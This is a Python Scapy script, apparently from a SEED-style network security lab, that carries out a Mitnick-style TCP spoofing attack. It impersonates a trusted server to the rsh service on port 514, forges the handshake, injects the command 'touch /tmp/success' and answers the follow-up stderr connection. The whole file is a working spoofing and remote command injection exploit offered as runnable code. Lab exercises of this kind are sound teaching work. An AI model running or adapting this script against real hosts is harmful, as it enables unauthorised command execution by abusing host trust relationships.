#!/usr/bin/python3
from scapy.all import *

X_IP = "10.9.0.5"
SRV_IP = "10.9.0.6"
X_PORT = 514
SRV_PORT = 1023
SECOND_PORT = 1022

def attack():
    my_seq = 0x12345678
    
    # Send SYN
    print("Sending SYN...")
    ip = IP(src=SRV_IP, dst=X_IP)
    tcp = TCP(sport=SRV_PORT, dport=X_PORT, flags="S", seq=my_seq)
    send(ip/tcp, verbose=0)
    
    def handle_pkt(pkt):
        nonlocal my_seq
        if pkt.haslayer(TCP):
            # Handshake for first connection
            if pkt[TCP].flags == "SA" and pkt[IP].src == X_IP and pkt[TCP].dport == SRV_PORT:
                print(f"Received SYN+ACK for first connection (Seq: {pkt[TCP].seq})")
                # Send ACK
                ack_pkt = IP(src=SRV_IP, dst=X_IP) / \
                          TCP(sport=SRV_PORT, dport=X_PORT, flags="A",
                              seq=my_seq + 1, ack=pkt[TCP].seq + 1)
                send(ack_pkt, verbose=0)
                
                # Send Data
                data = f"{SECOND_PORT}\x00seed\x00seed\x00touch /tmp/success\x00"
                data_pkt = IP(src=SRV_IP, dst=X_IP) / \
                           TCP(sport=SRV_PORT, dport=X_PORT, flags="PA",
                               seq=my_seq + 1, ack=pkt[TCP].seq + 1) / data
                print("Sending Data...")
                send(data_pkt, verbose=0)
                
            # Handshake for second connection
            elif pkt[TCP].flags == "S" and pkt[IP].src == X_IP and pkt[TCP].dport == SECOND_PORT:
                print(f"Received SYN for second connection (Seq: {pkt[TCP].seq})")
                # Send SYN+ACK
                srv_seq = 0x87654321
                sa_pkt = IP(src=SRV_IP, dst=X_IP) / \
                         TCP(sport=SECOND_PORT, dport=pkt[TCP].sport, flags="SA",
                             seq=srv_seq, ack=pkt[TCP].seq + 1)
                send(sa_pkt, verbose=0)
                print("Sent SYN+ACK for second connection")
                # We should also acknowledge the final ACK from X-Terminal if needed, 
                # but rsh might proceed anyway.
        return False

    sniff(iface="br-63cae30f0395", filter=f"tcp and host {X_IP}", prn=handle_pkt, timeout=15)

if __name__ == "__main__":
    attack()
